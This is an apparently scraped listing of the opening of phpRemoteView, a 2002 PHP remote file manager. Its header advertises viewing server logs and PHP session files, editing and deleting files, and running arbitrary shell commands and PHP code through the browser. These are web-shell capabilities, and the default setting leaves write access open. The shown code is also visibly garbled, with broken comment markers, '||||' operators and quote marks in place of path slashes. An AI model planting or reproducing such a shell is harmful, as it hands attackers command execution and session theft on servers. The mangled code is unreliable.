Исходный код phpRemoveView от 2002.08.05 (HOME)


<?

/ * * * * * * * * * * * * *

 *
 *  Welcome to phpRemoteView (RemView) 
 *
 *  View/Edit remove file system:
 *  - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
 *  - view name, size, owner:group, perms, modify time of files
 *  - view html/txt/image/session files
 *  - download any file and open on Notepad
 *  - create/edit/delete file/dirs
 *  - executing any shell commands and any PHP-code
 *
 *  Free download from http://php.spb.ru/remview/
 *  Version 03, 2002-08-05. 
 *  Please report bugs... in russian only ;)
 *
 *  This programm for Unix/Windows system.
 *
 *  (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' WHATS NEW ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * *
 *
 * --version3--
 *  2002.08.05 new: full windows support
 *             fix some bugs, thanks Jeremy Flinston
 * 
 *  2002.07.31 add file upload for create files
 *             add 'direcrory commands'
 *             view full info after safe_mode errors
 *             fixed problem with register_glogals=off in php.ini
 *             fixed problem with magic quotes in php.ini (auto strip slashes)
 *
 * --version2--
 *  2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
 *             add panel 'TOOLS': eval php-code and run shell commands
 *             add copy/edit/create file (+panel 'EDIT')
 *             add only-read mode (disable write/delete and PHP/Shell)
 *
 *  2002.01.19 add delete/touch/clean/wipe file
 *             add panel 'INFO', view a/c/m-time, hexdump view
 *             add session file view mode (link 'SESSION').
 *
 *  2002.01.12 first version!
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' */

   $version="2002-08-05";

   $hexdump_lines=8;    // lines in hex preview file
   $hexdump_rows=24;    // 16, 24 or 32 bytes in one line

   $write_access=true;  // true - user may be write/delete.. <- Unsecured =)
                        // false - only read access (+disable PHP/Shell)
   
   $mkdir_mode=0755;    // chmode for new dir ('MkDir' button)

///////////////////////////////////////////////////////////////////////////////

   error_reporting(2047);
   set_magic_quotes_runtime(0);
   if (function_exists("ob_start")) ob_start("ob_gzhandler");

   $self=$HTTP_SERVER_VARS['PHP_SELF'];

   $url="http://".getenv('HTTP_HOST').
        (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
        $self.
        (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");

   //
   // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
   //
   $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell ".
              "ftype fnot c2 confirm text df df2 df3 df4 ref from to";
   foreach (explode(" ",$autovars1) as $k=>$v)  {
      if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
         elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
            //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
   }

   //
   // autofix 'magic quotes':
   //
   $autovars2="php shell text d";
   if (get_magic_quotes_runtime() |||| get_magic_quotes_gpc()) {
      foreach (explode(" ",$autovars2) as $k=>$v) {
         if (isset($$v)) $$v=stripslashes($$v);
      }
   }

   $rand=microtime();

   if (!isset($c)) $c="";
   if (!isset($d)) $d="";
   if (!isset($f)) $f="";

   ob();
   $d=str_replace("\\","/",$d);
   if ($d=="") $d=realpath(".''")."''";
   if ($c=="") $c="l";
   if ($d[strlen($d)-1]!="''") $d.="''";
   $d=str_replace("\\","/",$d);
   if (!is_dir($d)) obb().die("<h3><P>Can't open directory <tt><font color=red><big>$d</big></font></tt>$obb");
   if (!realpath($d) |||| filetype($d)!="dir") obb().die("error dir type $obb");
   obb();

   //
   // OS detect:
   //
   $win=0;
   $unix=0;
   if (strlen($d)>1 && $d["1"]==":") $win=1; else $unix=1;

///////////////////////////////////////////////////////////////////////////////

$html=<<<remview <html><head> <title>phpRemoteView: $d$f</title> </head> <body> <style> A { text-decoration : none; } .t { font-size: 9pt; text-align : center; font-family: Verdana; } .t2 { font-size: 8pt; text-align : center; font-family: Verdana; } .n